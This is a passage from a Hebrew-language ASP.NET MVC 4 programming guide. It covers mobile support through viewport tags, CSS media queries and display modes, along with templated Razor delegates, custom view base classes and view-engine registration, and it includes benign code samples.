 ממספר רב של בחרנו להתעלם, וכדי לא ללכת לאיבוד בסבך הפרטים, בדרך ברורה ומובנת

 . פרק זה יעסוק בסוגיות אלו. סוגיות מתקדמות מעניינות ביותר

 תמיכה בהתקנים ניידים
על פי . שימוש בהתקנים ניידים להצגת אתרי אינטרנט הפך בשנים האחרונות לעניין שבשגרה

והמספר רק ,  מהתנועה ברשת נעשית באמצעות התקנים ניידים20%-כ, הערכות מסוימות
חשוב מאוד לתת את הדעת למראה ולשמישות של האתר שלכם ,  במציאות שכזו.הולך וגדל

 . כאשר הוא מוצג בהתקנים ניידים

יש מגוון גישות שבאפשרותכם ליישם לצורך העצמת החוויה הניידת אשר מספקים יישומי 
במקרים מסוימים תסתפקו בשינויים סגנוניים קלים של אלמנטי טופס . האינטרנט שלכם

. מקרים אחרים תרצו לשנות מן היסוד את המראה או התוכן של חלק מהתצוגותוב, כלשהם
צעד אחד לפני המעבר מיישום אינטרנט שמותאם לנייד אל יישום (במקרים קיצוניים ביותר 

אתם עשויים לפתח יישום אינטרנט שמיועד במיוחד , )שמכוון למכשיר הנייד מלכתחילה
מספקת אמצעים שונים שיכולים לתת מענה לכל  MVC 4תשתית . למשתמשי התקנים ניידים

 :אחד מהתרחישים הללו
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 ניתן להתאמה מימוש )adaptive( : בתבניות יישומי האינטרנט והאינטראנט
 כדי להתאים את האלמנטים CSSהסטנדרטיות משתמשים בשאילתות מדיה בגיליונות 

 . בטופס לגודל המוקטן של מסך הנייד
 תשתית : מצבי תצוגהMVC 4מוסכמות לבחירה מבין תצוגות -שמת גישה מבוססת מיי

בשונה ממימוש שניתן . שונות בהתאם לסוג הדפדפן שמבצע את הבקשה מהשרת
גישה זו מאפשרת לשנות את התגיות שנשלחות אל הדפדפנים , )אדפטיבי(להתאמה 

 . שבמכשירים הניידים
  תבנית פרויקט נייד)Mobile Project( :ור לכם ליצור ת הפרויקט החדשה תעזתבני

 . יישומי יישומי אינטרנט ייעודיים עבור התקנים ניידים

 )אמולציה(חיקוי התקנים ניידים 

אשר ניתן להורידו , Windows Phone Emulatorזה מבוססים על היישום סעיף בתצלומי המסך 
 . http://msdn.microsoft.com/en-us/library/ff402563.aspxמהכתובת  

 Opera Mobile Emulatorכמו למשל , ישומים ניידים אחריםמומלץ לנסות גם י
)http://www.opera.com/developer/tools/mobile/( , או היישוםElectric Plum Simulator 

 ).iPad) http://www.electricplum.com- וiPhoneלהדמיית דפדפני 

 מימוש ניתן להתאמה

 שלכם הוא לבדוק כיצד נראה האתר הצעד הראשון בשיפור החוויה הניידת שמספק האתר
 ניתן לראות כיצד ייֵרָאֶה דף הבית של תבנית ברירת המחדל של 15-1בתרשים . בדפדפן נייד

MVC 3 בחלון של , או ליתר דיוק( בהתקן ניידWindows Phone Emulator .( 

 : התצוגה הזו בעייתית מכמה בחינות

 התחלתיתחלק גדול מהכיתוב קטן מכדי לקרוא ברמת הזום ה . 

 קישורי הניווט שבראש הדף הינם חסרי תועלת . 

 מכיוון שהתכנים אינם , הגדלת התצוגה על ידי המשתמש לא תביא לפתרון הבעיה
ולכן המשתמש יוכל לראות רק , מסודרים מסדר שמתחשב במידות הקטנות של התצוגה

 . חלק מזערי מהדף

 . רשימת הבעיות הייתה מתארכת, ותראין ספק שאם היינו בוחנים דפים נוספים ומורכבים י

,  מתפקדת הרבה יותר טוב בדפדפנים ניידיםMVC 4תבנית ברירת המחדל של , למרבה המזל
 . 15-2כפי שניתן להיווכח בתרשים , גם ללא כל עזרה מצד המפתח

במקום . מיד ניתן להבחין שהדף הותאם בצורה טובה יותר לגודלו הקטן של צג ההתקן הנייד
הדף עוצב מחדש בצורה שמאפשרת , )כולל הכיתוב ושאר האלמנטים(וט של הדף כיווץ פש

 . להשתמש בו על אף אתגרי הגודל שמציבים התקנים ניידים
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 15-2תרשים             15-1תרשים 

 

 15-3תרשים 
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סידור הדף כולל מספר שינויים נוספים שפחות בולטים לעין ואשר , מעבר להתאמת הממדים
בשטח , למשל. וצעים כחלק מהאופטימיזציה של הדף עבור הצג של המכשיר הניידמב

 : הכותרת בוצעו השינויים הבאים

 אבל ממורכז בתצוגת הנייד, הלוגו מיושר לשמאל בתצוגת שולחן העבודה . 

  קישורי ההרשמה והכניסה לחשבון מיושרים לפינה הימנית העליונה בתצוגת שולחן
  . כזים ומוצגים מתחת ללוגו בתצוגת הניידאך שניהם ממור, העבודה

  קישוריHome/About/Contactמיושרים בתצוגה לנייד  . 

אם תגללו את הדף כלפי מטה תוכלו למצוא דוגמאות נוספות לאלמנטים ששונו בתצוגה 
מדובר . וכדי לנצל בצורה טובה יותר את שטח הצג, הניידת כדי להקנות לדף מראה נקי יותר

 We suggest"נקודות התבליט העגולות ברשימה , לדוגמה. אך משמעותיים, יםבשינויים קטנ

the following "כאשר תלחצו על הקישור . והטקסט בכותרת התחתונה ממורכז, הוסרוRegister 
כמוצג , שבכותרת הדף תוכלו לראות שגם שדות הטופס הותאמו לגודל של ההתקן הנייד

 . 15-3 תרשיםב

 adaptive( מימוש אדפטיבי או, מימוש ניתן להתאמהגישה שנקראת תבניות אלו מיישמות 

rendering (חשוב לדעת שלא . לצורך התאמה אוטומטית של הדף לרוחב התצוגה בהתקן הנייד
מדובר כאן בהתאמות שמבוססות על כותרות או על רמזים אחרים שמאפשרים לנחש 

רויות הרבה יותר מדויקות ההתאמה מתבססת על שתי אפש. שהמשתמש משתמש בהתקן נייד
 . CSSושימוש בשאילתות מדיה בקבצי , Viewportתגית המטא : שנתמכות על ידי רוב הדפדפנים

 Viewportתגית המטא 

, רוב אתרי האינטרנט נוצרו מבלי להקדיש מחשבה רבה לאופן הצגתם בקנה מידה קטן יותר
. ר בתחום הדפדפנים הניידיםוהדרך האידיאלית להצגת דפים הייתה ועדיין הינה אתגר מוכ

דפים בעלי עיצוב שמתמקד בעיקר בתכני טקסט בעלי מבנה סמנטי יכולים לארגן מחדש 
אתרים , לעומתם. בקלות יחסית את הטקסט כדי שאפשר יהיה לקרוא אותו בנוחות ובהירות

 פורמט אינם מגיבים היטב לשינוי, )ואולי נכון יותר לומר שברירי(בעלי עיצוב ויזואלי נוקשה 
 . והמענה היחיד הוא שינוי המרחק מהתצוגה ושימוש באפשרות הגלילה

כאשר , על כן. העיצוב של רוב האתרים אינו מספק מענה מתאים לשינויי גודל קיצוניים
הם יבחרו בדרך כלל באפשרות , דפדפנים ניידים צריכים לנחש כיצד לממש את הדף המוצג

הפתרון לבעיה הזו הוא לספק לדפדפן את ממדי . מימוש בגישת הזום והגלילה: הבטוחה
 .העיצוב של הדף כדי שלא יצטרך לנחש אותם

 מוגבל לדפים שנועדו במיוחד להצגה במסכים Viewportהשימוש בתגיות ,  קרובותלעתים
 עשויה Viewportבמקרים אלה תגית . או בחירת המשתמשזיהוי דפדפן בהתבסס על , קטנים

 :להיראות כך
<meta name="viewport" content="width=320"> 
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אך הוא יוצר בעיית תאימות עם תצוגות גדולות , זהו פתרון מספק לתצוגות ייעודיות בנייד
 באופן שמספק תמיכה לכל גדלי המסך CSSפתרון טוב יותר יהיה לעצב את גליון . יותר

תאם לרוחב  בהviewportולאחר מכן להורות לדפדפן להשתמש בערך , )כמוסבר בסעיף הבא(
 : כך, שנתמך על ידי ההתקן

<meta name="viewport" content="width=device-width"> 

 CSSהתאמת הסגנון בעזרת שאילתות מדיה בגיליון 

מאחר שאנחנו מודיעים לדפדפן שהוא יכול לסמוך עלינו ולהציג את הדף בהתאם לממדי 
.  אמינים ולאפשר לו לסמוך עלינועלינו להיות, המסך של ההתקן הנוכחי שאנחנו מספקים לו

 . CSSבגיליון מדיה נעשה זאת על ידי שימוש בשאילתות 

) מדיה( על תצוגה CSSכללי  מאפשרת לנו להחיל CSSלגיליון שאילתות מדיה הוספת 
 .W3Cבאתר ל שאילתות מדיה  להלן הסבר מתוך התיעוד ש.מסוימת

מדיה שמותאמים -סגנון תלויי תומכים בגליונות CSS2 והן HTML4הן , נכון להיום
מסמך מסוים עשוי להשתמש בגופנים , לדוגמה. באופן פרטני לסוגי מדיה שונים

" מסך. " בעת הדפסהserif בעת הצגה על המסך ובגופני sans-serifממשפחת 
שאילתות מדיה מספקות יכולות תיוג מדויקות . הם שני סוגי מדיה מוגדרים" הדפסה"ו

 . ובכך מרחיבות את אפשרויות השימוש בסוגי מדיה שונים, ןיותר של גליונות סגנו

שאילתת מדיה מורכבת מסוג המדיה ואפס או יותר ביטויים שמשמשים לבדיקת 
תכונות המדיה שנתמכות על ידי שאילתות מדיה . קיומן של תכונות מדיה מסוימות

התאים את על ידי שימוש בשאילתות מדיה ניתן ל". color"-ו" width" ,"height"הן 
 . התצוגה באופן פרטני למגוון רחב של התקני פלט ללא שינוי בתכנים עצמם

 /http://www.w3.org/TR/css3-mediaqueriesהמידע נמצא בכתובת  

ות מדיה בעוד ששאילת,  תומך בסוגי מדיית מטרה כגון מסך או מדפסתCSS2, בקיצור
מכיוון . מאפשרות לנו להתאים את התצוגה למסכים בעלי רוחב מקסימלי ומינימלי מסוים

אתם יכולים להוסיף כללים גורפים ,  נבדקים לפי הסדר מתחילתם ועד סופםCSSשכללי 
 עם כללים פרטניים יותר CSS ולדרוס את הכללים הללו בהמשך הקובץ CSSבראש קובץ 

ומתוחמים בשאילתות מדיה כדי למנוע את יישומם על ידי , שמיועדים לתצוגות קטנות
 . דפדפנים בעלי שטח תצוגה גדול יותר

,  פיקסלים850-צבע הרקע יהיה כחול בתצוגות שרוחבן גדול מ, בדוגמה הפשוטה שלהלן
 : פיקסלים850-והצבע יהיה אדום בתצוגות שרוחבן קטן מ

body {background-color:blue;} 

@media only screen and (max-width: 850px) { 

 body {background-color:red;} 

} 

: ASP.NET MVC 4 של תבנית ברירת המחדל של CSSזו בדיוק הטכניקה שמיושמת בגיליון 
כלל גורף שאחריו כללים פרטניים שמיועדים לדפדפנים ניידים ושיישומם מותנה ברוחב 
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עיינו , כדי לראות את הקוד הזה. תת המדיהכמוגדר על ידי שאיל,  פיקסלים850מקסימלי של 
 . Content/Site.css/ בקובץ Mobile Stylesבסעיף 

 ? למה להסתפק באחת בלבד: שאילתות מדיה

באפשרותכם להשתמש במספר שאילתות מדיה בגיליון הסגנון של האתר שלכם כדי להבטיח 
ירים עד למסכים רחבים החל בדפדפנים לניידים זע, שיוצג בצורה טובה במסכים מכל הגדלים

 תמצאו גלריה של אתרים שמדגימים /http://mediaqueri.esבאתר . ניהםישבוכל מה , ענקיים
 . כיצד להשיג תוצאות מצוינות באמצעות הגישה הזו

בוודאי ניחשתם שניתן לקבל את האפקט המבוקש על ידי הקטנת , אם עקבתם אחר ההסברים
תוכלו ). 15-4כמוצג בתרשים ( פיקסלים 850-קטן מחלון דפדפן שולחן העבודה לרוחב ש

 באמצעות תבנית MVC 4צרו פרויקט : בקלות לאמת זאת מבלי לכתוב אפילו שורת קוד אחת
Internet application ,הריצו אותו ושנו את גודל הדפדפן . 

 

 15-4תרשים 
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יים של גם אם אינכם מבססים את היישום שלכם על מערך הפריסה והסגנונות הסטנדרט
MVC 4 , מערך פריסהלהיעזר בהם כדוגמה שממחישה כיצד להוסיף תמיכה בסיסית לתוכלו 

 . מותאם ליישומי האינטרנט הקיימים שלכם

ומשתמשים , אתם שולחים לכל הדפדפנים בדיוק את אותן תגיות, על ידי מימוש מותאם
ולעתים , מיד די בכךאולם לא ת.  כדי לשנות את המראה של אלמנטים מסוימיםCSSבגליונות 

תוכלו לעשות זאת בקלות רבה על . תצטרכו לשלוח לדפדפנים ניידים תגיות שונות לחלוטין
 .ידי שימוש במצבי תצוגה

 מצבי תצוגה

 מכיל תמיכה בתצוגות חלופיות שנבחרות על MVC 4הקוד המעודכן לבחירת התצוגה של 
התצוגה מנוע , התקן נייד מוכרכאשר סוכן המשתמש של הדפדפן מצהיר על . מוסכמות-בסיס

מתקבלת כאשר ,  לדוגמהMobile.cshtml.סיומת עם למצוא תצוגות בעלות שם תחילה מנסה 
היישום ישתמש בתבנית , בקשה לדף הבית מדפדפן שולחן עבודה

Views\Home\Index.cshtml .ומנוע , אם הבקשה לדף הבית מתקבלת מדפדפן נייד, אולם
תבנית זו תחליף את , Views\Home\Index.Mobile.cshtmlית בשם התצוגה מצליח למצוא תבנ

ואין צורך לבצע רישום , תהליך הבחירה מתבסס אך ורק על מוסכמות. תצוגת שולחן העבודה
 . או הגדרות תצורה כלשהן מראש

צרו  ,Internet application חדש באמצעות תבנית MVC 4צרו יישום , את בעצמכםזכדי לנסות 
 Solution Explorerבחרו את הקובץ בחלונית  (Views\Home\Index.cshtml\תבנית  של העותק

כעת . Index.Mobile.cshtml -שנו את שם התצוגה החדשה לו, )Ctrl+V ואחר כך Ctrl+Cולחצו 
 . 15-5כמוצג בתרשים , Views\Home\התיקייה אמורה להופיע 

 :לשנות את כותרת הדף בדרך זו, תוכלו למשל. Index.Mobile.cshtmlערכו את התצוגה 

<hgroup class="title"> 

 <h1>HELLO VALUED MOBILE USER!</h1> 

 <h2>@ViewBag.Message</h2> 

</hgroup> 

, הריצו את היישום והציגו את דף הבית באמולטור בנייד כדי לראות את התצוגה החדשה
 . 15-6כמוצג בתרשים 
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 15-6תרשים           15-5תרשים 

 תמיכה במערך פריסה ובתצוגות חלקיות

וגם ) Layout.cshtml_קובץ (באפשרותכם ליצור גרסאות לנייד גם עבור תבנית מערך פריסה 
 .כמוסבר בדוגמאות שלהלן, )partial view(עבור תבניות תצוגה חלקית 

בנית בשם  וגם תLayout.cshtml_ שלכם מכילה גם תבנית בשם Views\Sharedאם התיקייה 
_Layout.mobile.cshtml ,היישום ישתמש בתבנית , על פי ברירת המחדל_Layout.mobile.cshtml 

 . עבור כל שאר הבקשות - Layout.cshtml_ובתבנית , עבור בקשות מדפדפנים ניידים

  SetPasswordPartial.cshtml_ שלכם מכילה תבנית בשם Views\Accountאם התיקייה 
ההוראה , SetPasswordPartial.mobile.cshtml_בשם ותבנית 

@Html.Partial("~/Views/Account/_SetPasswordPartial")  תגרום למימוש של 
_SetPasswordPartial.mobile.cshtmlולמימוש של  ,  עבור בקשות מדפדפנים ניידים

_SetPasswordPartial.cshtmlעבור כל שאר הבקשות  . 

 מצבי תצוגה מותאמים אישית

אשר יתבססו על , אפשרותכם גם לבצע רישום של מצבי התקן מותאמים אישית משלכםב
 אשר WinPhoneכדי לבצע רישום של מצב התקן , לדוגמה. קריטריונים שתגדירו בעצמכם

עליכם , Windows Phoneהתקני  אל WinPhone.cshtmlסיומת יגרום לשליחת תצוגות עם 
 : שלכםGlobal.asax בקובץ Application_Startלהוסיף את הקוד שלהלן לשיטה 
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DisplayModeProvider.Instance.Modes.Insert(0, new DefaultDisplayMode("WinPhone") 

{ 

 ContextCondition = (context => context.GetOverriddenUserAgent().IndexOf 

   ("Windows Phone OS", StringComparison.OrdinalIgnoreCase) >= 0) 

}); 

כל שנותר לכם לעשות הוא ליצור . אין צורך ברישום או בהגדרות תצורה נוספות. זה הכול
והן תיבחרנה באופן אוטומטי בכל פעם שתנאי ההקשר , WinPhone.cshtml.תצוגות עם סיומת 

 . מתקיים

ולמעשה אתם בכלל לא , תנאי ההקשר אינו מוגבל לבדיקת סוכן המשתמש של הדפדפן
אתם יכולים להגדיר מצבי תצוגה שונים על סמך עוגיות .  בהקשר הבקשהחייבים להשתמש

או כל , היום בשבוע, שאילתות בסיס נתונים שמבררות את סוג חשבון המשתמש, משתמש
 . תנאי אחר שתמצאו לנכון להשתמש בו

אך באיזו , מצבי תצוגה מספקים אמצעי מאוד נוח לשליחת תצוגות חלופיות לדפדפנים ניידים
במקרים ?  עלינו לנקוט בעת בניית יישום שמיועד להצגה בדפדפנים ניידים באופן בלעדיגישה

 .Mobile Siteחדש באמצעות תבנית אלה מומלץ ליצור יישום 

 Mobile Siteתבנית 

מבצעת את הגדרות התצורה הנדרשות באתר שלכם לצורך יישום הספרייה  Mobile Siteתבנית 
jQuery Mobile . ספרייתjQuery Mobile מספקת מגוון רחב של אפשרויות העשרה ליישומי 
 : אינטרנט לנייד

 טים 'ממשק המשתמש כולל וידג)widgets ( שהותאמו במיוחד לצגי מגע ונועדו לחסוך
 . מהגולשים את התסכול הרב שנלווה לעבודה עם לחצנים ושדות טופס זעירים

  םבכל הדפדפנים הניידים המוכרי) ונבדקה(הספרייה תומכת . 

  ניווטAjax מספק מעברי דף מונפשים ותורם לשיפור הביצועים תחת מגבלות רוחב פס 
 . צר

  תמיכה בערכות נושא מאפשרת לשנות את המראה החיצוני של האתר כולו באמצעות
 . CSSערכות נושא 

  תצוגות רשימה מספקות דרך מעולה להצגה ועריכה של רשימות מידע בעזרת ממשק
 . ידידידותי למשתמש הני

 Mobileצרו פרויקט חדש באמצעות תבנית , תצוגת תכלית קצרהלראות אם אתם מעוניינים 

Project ,15-7תרשים (והציגו אותו באמולטור נייד , הריצו אותו .( 
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 15-7תרשים      

 jQuery- מבוססיASP.NET MVCמאפשרת להתחיל לעבוד על יישומי  Mobile Projectתבנית 

Mobileעליכם ללמוד להשתמש בספרייה , כדי להתקדם לשלב הבא.  מיותר ללא כל מאמץ
jQuery Mobile .ולכן ננחה אתכם להיעזר , לצערנו זהו נושא רחב מכדי לעסוק בו בספר זה

 : במשאבי המידע הבאים

  אתרjQuery Mobile) http://jquerymobile.com/(כולל ,  מכיל כמות אדירה של מידע
 . תמיכה בבניית ערכות נושא ועוד, יותהדרכות אינטראקטיב, תיעוד

  הדרכתASP.NET MVC 4 Mobile Features באתר ASP.NET 
)http://www.asp.net/mvc/tutorials/mvc-4/aspnet-mvc-4-mobile-features ( מציגה

ההדרכה כוללת את קוד . של בניית אתר ועידות לנייד, שלב אחר שלב, תיאור מפורט
 . ואתם יכולים פשוט להוריד ולהריץ אותו, המקור של היישום המלא

 ההרצאה ASP.NET MVC and jQuery Mobileהוועידבסקוט אלן  . של ק NDC 2012 
)http://vimeo.com/43624503 ( עוסקת בהוספת תמיכתjQuery Mobile ליישום לדוגמה 

MVC Music Store .כגון אירועי דף , בהרצאה מוצגות מספר אפשרויות מתקדמות
 . בדפוסי מגעה ותמיכ

.  מספקת שלל כלים לשיפור חווית הגלישה של משתמשי דפדפנים ניידיםMVC 4תשתית 
העצה הטובה ביותר שאנחנו יכולים לתת בהקשר הזה היא להקפיד על בדיקת האתרים שלכם 

גילינו שקשה מאוד , )ASP.NET) http://asp.netכאשר עשינו את זה עם אתר . בדפדפנים ניידים
באופן  באמצעות מימוש מותאם הצלחנו לשפר את חווית הגלישה. אתר ולקרוא תכניםלנווט ב
 . והדבר הוביל לעלייה משמעותית בנפח התנועה של משתמשים ניידים באתר, דרמטי
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  מתקדמות Razorאפשרויות 
 אשר בהן ככל הנראה תשתמשו בעבודתכם Razor הצגנו את היכולות המרכזיות של 3בפרק 

אך יעילות ושימושיות ,  כולל מספר אפשרויות נוספות יותר מורכבותRazorנוע מ. היומיומית
 . ביותר שלדעתנו מצדיקות את מאמץ הלימוד והיישום שלהן

Templated Razor Delegates 

בחנו גישה אפשרית להצגת תכני ברירת מחדל בחלקי , 3  בפרקRazorבדיון שלנו על סידורי 
ליישום גישה זו היינו צריכים לכתוב קוד טכני . ריסת הדףשל מערך פ) אופציונליים(רשות 
 בשם Razor נציג גישה יעילה יותר שמבוססת על אפשרות  הלימודשבהמשךוהדגשנו , מועט

templated Razor delegates)  נציגי פריסתRazor .( 

קוד כמודגם בקטע ה, )נציג (delegate- ברצף השורה לRazorתבנית  מסוגל להמיר Razorמנוע 
 :הבא

@{ 

 Func<dynamic, object> strongTemplate = @<strong>@item</strong>; 

} 

. <Func<T, HelperResult הוא מטיפוס Razorשמופק על ידי שימוש בתבנית ) delegate(נציג ה
 שבתוך התבנית הוא פרמטר item@הפרמטר . dynamic הוא מסוג Tהטיפוס , בדוגמה האחרונה

אבל התבנית יכולה להפנות לפרמטר זה , יכולים לקבל פרמטר אחד בלבד הנציגים. מיוחד
נוכל להשתמש בנציג הזה בכל מקום , לאחר כתיבת הקוד הראשוני. ככל הנדרש וללא הגבלה

 :  שלנוRazorבתצוגת 
<div> 

 @strongTemplate("This is bolded.") 

</div> 

הארגומנט פשוט על ידי ההגדרה  כערך Razorהדבר מאפשר לכתוב שיטה שמקבלת תבניות 
 .  בתור הטיפוס של הארגומנט<Func<T, HelperResultשל 

וניישם את מה , 3  מהסעיף שעסק בדוגמאות הפריסות שבפרקRenderSectionנחזור לדוגמה 
 :שלמדנו כעת

public static class RazorLayoutHelpers { 

 public static HelperResult RenderSection( 

   this WebPageBase webPage, 

  string name, 

  Func<dynamic, HelperResult> defaultContents) { 

   if (webPage.IsSectionDefined(name)) { 

    return webPage.RenderSection(name); 

   } 

   return defaultContents(null); 

  } 

} 
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, <Func<dynamic, HelperResultנוסף גם וב, sectionרכיב השיטה שכתבנו מקבלת שם של 
 :  באופן הבאRazorולפיכך ניתן לקרוא לה מתוך תצוגת 

<footer> 

 @this.RenderSection("Footer", @<span>This is the default.</span>) 

</footer> 

נקודה . Razorבאמצעות תחביר , שימו לב שהעברנו לשיטה זו את תוכן ברירת המחדל כארגומנט
. RenderSection לצורך קריאה לשיטת ההרחבה thisוספת שראוי לציין היא השימוש בארגומנט נ

עליכם , )או נגזר מאותו טיפוס(בעת שימוש בשיטת הרחבה מטיפוס שמוגדר בתוך אותו טיפוס 
אין זה ברור לגמרי , בעת כתיבה תצוגה.  כדי לקרוא לשיטת ההרחבה הזוthisלהשתמש בפרמטר 

סוגיה זו מוסברת בסעיף . אבל זה בדיוק מה שאנחנו עושים, ים קוד בתוך מחלקהשאנחנו כותב
 . RenderSectionלצד דוגמה שמראה כיצד לצמצם אף יותר את הקוד של , הבא

 הידור תצוגות
 ,או מנועי תצוגות מתורגמות) templating engines(של מנועי תבניות ממספר רב בשונה 
ההידור מתבצע . ת באופן דינמי בזמן הריצה ואז מורצות מהודרות למחלקוRazorתצוגות 

, ולרוב לא משמעותית, פעמית-עם פגיעה חד, בפעם הראשונה שמתקבלת בקשה לתצוגה
היתרון הוא בכך שבפעם הבאה שהיישום ידרש בו להריץ את התצוגה יעמוד . בביצועים

 תחזור על תהליך  ASP.NET,במקרה של שינוי בתוכן התצוגה. לרשותו הקוד המהודר המלא
 . ההידור באופן אוטומטי

אשר בתורה יורשת , WebViewPageהמחלקה שלתוכה מהודרת התצוגה יורשת מהמחלקה 
משתמשי ". תבנית- מבוססיRazorנציגי "בה כבר נתקלנו בסעיף , WebPageBaseמהמחלקה 

ASP.NET ם דפי  מכיוון שכך בדיוק פועלי,אינם מופתעים לשמוע זאתבוודאי ש ותיקים
ASP.NET Web Formsעם מחלקת הבסיס שלהם  ,Page . 

ובדרך זו ,  במחלקה מותאמת אישיתRazorניתן להחליף את מחלקת הבסיס של תצוגות 
 מוגדרת בקובץ Razorמחלקת הבסיס לתצוגות . לאפשר הוספת שיטות ומאפיינים לתצוגות

Web.config בתיקייה Views . הקטע מתוךWeb.configלן מכיל את הגדרות התצורה  שמוצג לה
 : Razorשל 

<system.web.webPages.razor> 

 <host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, 

  System.Web.Mvc, Version=3.0.0.0, 

  Culture=neutral, PublicKeyToken=31BF3856AD364E35" /> 
 <pages pageBaseType="System.Web.Mvc.WebViewPage"> 

  <namespaces> 

   <add namespace="System.Web.Mvc" /> 

   <add namespace="System.Web.Mvc.Ajax" /> 

   <add namespace="System.Web.Mvc.Html" /> 

   <add namespace="System.Web.Routing" /> 

  </namespaces> 

 </pages> 

</system.web.webPages.razor> 
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ערך התכונה הזו קובע את הטיפוס . pageBaseType עם התכונה <pages>נט אלמלשימו לב 
ואתם יכולים לשנות את הערך הזה על ידי החלפתו ,  ביישום שלכםRazorשל כל תצוגות 

 עליכם Razorכדי ליצור מחלקת בסיס חלופית לתצוגות . במחלקת בסיס שיצרתם בעצמכם
 . WebViewPag-לכתוב מחלקה שיורשת מ

 אל המחלקה RenderSectionכיצד הדבר מתבצע על ידי גרסה מועמסת של השיטה נדגים 
CustomWebViewPage : 

using System; 

using System.Web.Mvc; 

using System.Web.WebPages; 

 

public abstract class CustomWebViewPage<T> : WebViewPage<T> { 

 public HelperResult RenderSection(string name, Func<dynamic, HelperResult> 

      defaultContents) { 

  if (IsSectionDefined(name)) { 

   return RenderSection(name); 

  } 

  return defaultContents(null); 

 } 

} 

כדי לתמוך בתצוגות , אנחנו מגדירים את המחלקה כגנרית. שימו לב שמדובר במחלקה גנרית
, כאשר לא מוגדר טיפוס מסוים. תבר שכל התצוגות הן בעלות טיפוס גנרימס. מטיפוס חזק

 pageBaseType עלינו לעדכן את התכונה ,לאחר כתיבת המחלקה. dynamicהטיפוס הוא 
 : Web.configבקובץ 

<pages pageBaseType="CustomWebViewPage"> 

 מהמחלקה תירשנה ביישום Razorכל תצוגות , לאחר שמירת השינוי
CustomWebViewPage<T> ותכלולנה את הגרסה המועמסת החדשה של RenderSection .

ובעלת תוכן ברירת מחדל מבלי , הדבר מאפשר להגדיר יחידה עם פריסה אופציונלית
 :thisלהשתמש במילת המפתח 

<footer> 

 @RenderSection("Footer", @<span>This is the default.</span>) 

</footer> 

 כדי NuGetהשתמשו במנהל חבילות התוכנה ,  לראות את הקוד והפריסה בפעולהכדי הערה
 ASP.NET MVC 4בפרויקט  Wrox.ProMvc4.Views.BasePageType להתקין את חבילת התוכנה

 :באמצעות הפקודה הבאהסטנדרטי 
Install-Package Wrox.ProMvc4.Views.BasePageType 

 בקובץ pageBaseType בתכונה CustomWebViewPageעליכם להציב , לאחר התקנת החבילה
Web.config שבתיקיית Views . 



 ASP.NET MVC 4מדריך    412

לחצו .  מכילה פריסה שמדגימה שימוש בשיטה שיצרנוViewsתיקיית הדוגמה שבתיקיית 
Ctrl+F5י לראות כיצד הקוד ממומש ונווטו אל שתי הכתובות שלהלן כד : 

 /example/layoutsample 

 /example/layoutsamplemissingfooter 

 אפשרויות מנועי תצוגה מתקדמות
מחולל "נוהג לקרוא למנוע תצוגה , Microsoftמנהל התוכנית הקהילתית של , סקוט הנסלמן

מנוע . מדויקתדי אבל מבחינות מסוימות היא ,  פשטניתנראיתהגדרה זו ". סוגריים משולשים
. רצויפורמט לכך  ה אותהזיכרון וממירתוך לוקח ייצוג של תצוגה מ) view engine( תצוגה

נוע המימוש של מ.  שמכיל תגיות ותסריטcshtmlברוב המקרים תשתמשו במנוע ליצירת קובץ 
מבוסס על שימוש בממשקי , RazorViewEngine  ששמו,ASP.NET MVCשל הסטנדרטי תצוגה ה

API קיימים של ASP.NET לצורך מימוש הדפים בפורמט HTML . 

בהמשך . HTMLוגם אינם חייבים לממש , cshtmlלשימוש בדפי מנועי תצוגה אינם מוגבלים 
 מנועי תצוגה  נכירוגם, HTML פלט שאינו למימוש חלופייםנלמד כיצד ליצור מנועי תצוגה 

 . בתור קלט) DSL) domain-specific languageשמקבלים מיוחדים 

 ASP.NET MVCנסקור את מחזור החיים של , מנוע תצוגהו למעשה כדי להבין טוב יותר מה
 ). 15-8אשר מוצג בצורה פשטנית ביותר בתרשים (

 

 HTTPבקשת       תגובה          תצוגה       מנוע תצוגה  תוצאת פעולה   בקר           ניתוב     

 15-8תרשים 

להבהיר היכן מיועד התרשים . 15-8בתהליך מעורבות מערכות רבות שאינן מיוצגות בתרשים 
 ViewResultמיד לאחר הרצת פעולת הבקר והחזרת : ליך מנוע התצוגהבדיוק משתלב בתה

 . בתגובה לבקשה

) המודל( מכין את הנתונים רקהוא . ש את התצוגהמזה המקום להדגיש שהבקר עצמו אינו ממ
תחילת כפי שראינו ב. ViewResult של מופעוקובע איזו תצוגה לשלוח ללקוח על ידי החזרת 

 אשר משמשת להחזרת View מכילה שיטת עזר פשוטה בשם Controllerמחלקת הבסיס , הפרק
ViewResult .תוצאת , ברקעViewResultקוראת למנוע התצוגה הנוכחי למימוש התצוגה  . 
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 הגהגדרת מנועי תצו

מנועי התצוגה מוגדרים בקובץ . חלופייםניתן לבצע ביישום רישום של מנועי תצוגה , כאמור
Global.asax.cs ,מנועי תצוגה נוספים אם רשוםל אינכם צריכים מחדלהרת על פי בריו 

 . בלבד WebFormViewEngineאו במנוע  RazorViewEngineבכוונתכם להשתמש במנוע 

תוכלו לצרף את הקוד ,  להחליף את מנועי התצוגה הסטנדרטיים באחריםבכוונתכםאם , אולם
 : שלכםApplication_Startשלהלן לשיטת 

protected void Application_Start() { 

 ViewEngines.Engines.Clear(); 

 ViewEngines.Engines.Add(new MyViewEngine()); 

 //Other startup registration here 

} 

 שמשמש לאחסון כל מנועי התצוגה , סטטיViewEngineCollection הינו Enginesהאוסף 
לפני רישום מנוע חדש עליכם . ים נקודת הגישה לרישום מנועי תצוגה חדש גםוזו, הרשומים

 WebFormViewEngine - וRazorViewEngine מכיוון שהמנועים Clearלשיטה תחילה לקרוא 
להוסיף את מנוע התצוגה המותאם מתכוונים אם אתם . מוכלים באוסף על פי ברירת מחדל

קרוא אינכם חייבים ל - ולא להחליפם, מנועי ברירת המחדלנוספת לאישית שלכם כאפשרות 
 .Clearלשיטה 

סביר להניח שלא ובמקרים כאלה , NuGetכחבילת מנועי תצוגה מותאמים אישית רבים זמינים 
 Sparkכדי להשתמש במנוע התצוגה , לדוגמה. את מנוע התצוגה באופן ידנירשום תידרשו ל

: ה הבאNuGetהריצו את פקודת , ASP.NET MVC 4לאחר יצירת פרויקט ברירת מחדל של 
Install-Package Spark.Web.Mvc .מנוע התצוגה תפקודה זו תגרום להוספ Spark ליישום 

תוכלו לראות את המנוע בפעולה על ידי שינוי שם . גדרות התצורה הנדרשותלהשלכם ו
 כדי להציג את ההודעה ,שנו את התגיות באופן הבא. Index.spark - לIndex.cshtmlהקובץ 

 . שמוגדרת בבקר
<!DOCTYPE html> 

<html> 

<head> 

 <title>Spark Demo</title> 

</head> 

<body> 

